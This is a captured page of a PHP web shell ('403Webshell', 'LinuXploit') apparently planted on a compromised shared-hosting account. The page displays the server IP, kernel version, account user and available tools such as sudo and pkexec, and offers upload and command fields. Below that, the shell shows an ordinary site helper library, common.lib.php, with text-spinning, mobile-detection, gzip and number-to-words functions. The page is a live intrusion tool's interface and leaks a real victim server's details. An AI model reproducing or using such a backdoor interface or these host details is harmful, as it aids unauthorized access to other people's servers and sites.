403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com3/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com3/lib/common.lib.php
<?php
function spin($pass){
	$mytext = $pass;
	while(inStr("}",$mytext)){
		$rbracket = strpos($mytext,"}",0);
		$tString = substr($mytext,0,$rbracket);
		$tStringToken = explode("{",$tString);
		$tStringCount = count($tStringToken) - 1;
		$tString = $tStringToken[$tStringCount];
		$tStringToken = explode("|",$tString);
		$tStringCount = count($tStringToken) - 1;
		$i = rand(0,$tStringCount);
		$replace = $tStringToken[$i];
		$tString = "{".$tString."}";
		$mytext = str_replaceFirst($tString,$replace,$mytext);
	}
	return $mytext;
}
function str_replaceFirst($s,$r,$str){
	$l = strlen($str);
	$a = strpos($str,$s);
	$b = $a + strlen($s);
	$temp = substr($str,0,$a) . $r . substr($str,$b,($l-$b));
	return $temp;
}
function inStr($needle, $haystack){
	return @strpos($haystack, $needle) !== false;
}
function detect_mobile()
{
	if(preg_match('/(alcatel|amoi|android|avantgo|blackberry|benq|cell|cricket|docomo|elaine|htc|iemobile|iphone|ipad|ipaq|ipod|j2me|java|midp|mini|mmp|mobi|motorola|nec-|nokia|palm|panasonic|philips|phone|playbook|sagem|sharp|sie-|silk|smartphone|sony|symbian|t-mobile|telus|up\.browser|up\.link|vodafone|wap|webos|wireless|xda|xoom|zte)/i', $_SERVER['HTTP_USER_AGENT']))
		return true;
	else
		return false;
}
function getvar($tKey, $tSrcArr, $tDefValue=false)
{
	$res = $tDefValue;
	if (isset($tSrcArr[$tKey])){
		$res = $tSrcArr[$tKey];
	}
	return $res;
}

function replace_images($template_content)
{
    $allchars = '-:=%;a-zA-Z\\/0-9_\. ';
    return ereg_replace("(<img[$allchars\'\"]*src=)([\"'])([$allchars]*)([\"'])", "\\1\\2". HTTP_PATH ."\\3\\4", $template_content);
}

function getstr($key, $arr, $defval = '')
{
    return trim(stripslashes(getvar($key, $arr, $defval)));
}

function getint($key, $arr, $defval = 0)
{
    $str = getstr($key, $arr, $defval);
    if (preg_match('/^\-{0,1}[0-9]+$/', $str)){
        return $str;
    }
    return $defval;
}

function isArray($arr)
{
    return is_array($arr) && count($arr) > 0;
}

function is_ie()
{
    return substr_count($_SERVER['HTTP_USER_AGENT'], 'MSIE 6.0') > 0;
}

function is_validator()
{
    return substr_count($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator') > 0;
}

function is_gecko()
{
    return substr_count($_SERVER['HTTP_USER_AGENT'], 'Gecko') > 0;
}
function gebug($debug,$message){
    if($debug){ echo $message;}
}
function print_gzipped_page() {

    global $HTTP_ACCEPT_ENCODING;
    if( headers_sent() ){
        $encoding = false;
    }elseif( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false ){
        $encoding = 'x-gzip';
    }elseif( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false ){
        $encoding = 'gzip';
    }else{
        $encoding = false;
    }

    if( $encoding ){
        $contents = ob_get_contents();
        ob_end_clean();
        header('Content-Encoding: '.$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
        exit();
    }else{
        ob_end_flush();
        exit();
    }
}
/*
 Copyright 2007-2008 Brenton Fletcher. http://bloople.net/num2text
You can use this freely and modify it however you want.
*/
function convertNumber($num) {
	list ( $num, $dec ) = explode ( ".", $num );
	
	$output = "";
	
	if ($num {0} == "-") {
		$output = "negative ";
		$num = ltrim ( $num, "-" );
	} else if ($num {0} == "+") {
		$output = "positive ";
		$num = ltrim ( $num, "+" );
	}
	
	if ($num {0} == "0") {
		$output .= "zero";
	} else {
		$num = str_pad ( $num, 36, "0", STR_PAD_LEFT );
		$group = rtrim ( chunk_split ( $num, 3, " " ), " " );
		$groups = explode ( " ", $group );
		
		$groups2 = array ();
		foreach ( $groups as $g )
			$groups2 [] = convertThreeDigit ( $g {0}, $g {1}, $g {2} );
		
		for($z = 0; $z < count ( $groups2 ); $z ++) {
			if ($groups2 [$z] != "") {
				$output .= $groups2 [$z] . convertGroup ( 11 - $z ) . ($z < 11 && ! array_search ( '', array_slice ( $groups2, $z + 1, - 1 ) ) && $groups2 [11] != '' && $groups [11] {0} == '0' ? " and " : ", ");
			}
		}
		
		$output = rtrim ( $output, ", " );
	}
	
	if ($dec > 0) {
		$output .= " point";
		for($i = 0; $i < strlen ( $dec ); $i ++)
			$output .= " " . convertDigit ( $dec {$i} );
	}
	
	return $output;
}

function convertGroup($index) {
	switch ($index) {
		case 11 :
			return " decillion";
		case 10 :
			return " nonillion";
		case 9 :
			return " octillion";
		case 8 :
			return " septillion";
		case 7 :
			return " sextillion";
		case 6 :
			return " quintrillion";
		case 5 :
			return " quadrillion";
		case 4 :
			return " trillion";
		case 3 :
			return " billion";
		case 2 :
			return " million";
		case 1 :
			return " thousand";
		case 0 :
			return "";
	}
}

function convertThreeDigit($dig1, $dig2, $dig3) {
	$output = "";
	
	if ($dig1 == "0" && $dig2 == "0" && $dig3 == "0")
		return "";
	
	if ($dig1 != "0") {
		$output .= convertDigit ( $dig1 ) . " hundred";
		if ($dig2 != "0" || $dig3 != "0")
			$output .= " and ";
	}
	
	if ($dig2 != "0")
		$output .= convertTwoDigit ( $dig2, $dig3 );
	else if ($dig3 != "0")
		$output .= convertDigit ( $dig3 );
	
	return $output;
}

function convertTwoDigit($dig1, $dig2) {
	if ($dig2 == "0") {
		switch ($dig1) {
			case "1" :
				return "ten";
			case "2" :
				return "twenty";
			case "3" :
				return "thirty";
			case "4" :
				return "forty";
			case "5" :
				return "fifty";
			case "6" :
				return "sixty";
			case "7" :
				return "seventy";
			case "8" :
				return "eighty";
			case "9" :
				return "ninety";
		}
	} else if ($dig1 == "1") {
		switch ($dig2) {
			case "1" :
				return "eleven";
			case "2" :
				return "twelve";
			case "3" :
				return "thirteen";
			case "4" :
				return "fourteen";
			case "5" :
				return "fifteen";
			case "6" :
				return "sixteen";
			case "7" :
				return "seventeen";
			case "8" :
				return "eighteen";
			case "9" :
				return "nineteen";
		}
	} else {
		$temp = convertDigit ( $dig2 );
		switch ($dig1) {
			case "2" :
				return "twenty-$temp";
			case "3" :
				return "thirty-$temp";
			case "4" :
				return "forty-$temp";
			case "5" :
				return "fifty-$temp";
			case "6" :
				return "sixty-$temp";
			case "7" :
				return "seventy-$temp";
			case "8" :
				return "eighty-$temp";
			case "9" :
				return "ninety-$temp";
		}
	}
}

function convertDigit($digit) {
	switch ($digit) {
		case "0" :
			return "zero";
		case "1" :
			return "one";
		case "2" :
			return "two";
		case "3" :
			return "three";
		case "4" :
			return "four";
		case "5" :
			return "five";
		case "6" :
			return "six";
		case "7" :
			return "seven";
		case "8" :
			return "eight";
		case "9" :
			return "nine";
	}
}

function encode($string,$key) {
	$key = sha1($key);
	$strLen = strlen($string);
	$keyLen = strlen($key);
	for ($i = 0; $i < $strLen; $i++) {
		$ordStr = ord(substr($string,$i,1));
		if ($j == $keyLen) {
			$j = 0;
		}
		$ordKey = ord(substr($key,$j,1));
		$j++;
		$hash .= strrev(base_convert(dechex($ordStr + $ordKey),16,36));
	}
	return $hash;
}

function decode($string,$key) {
	$key = sha1($key);
	$strLen = strlen($string);
	$keyLen = strlen($key);
	for ($i = 0; $i < $strLen; $i+=2) {
		$ordStr = hexdec(base_convert(strrev(substr($string,$i,2)),36,16));
		if ($j == $keyLen) {
			$j = 0;
		}
		$ordKey = ord(substr($key,$j,1));
		$j++;
		$hash .= chr($ordStr - $ordKey);
	}
	return $hash;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit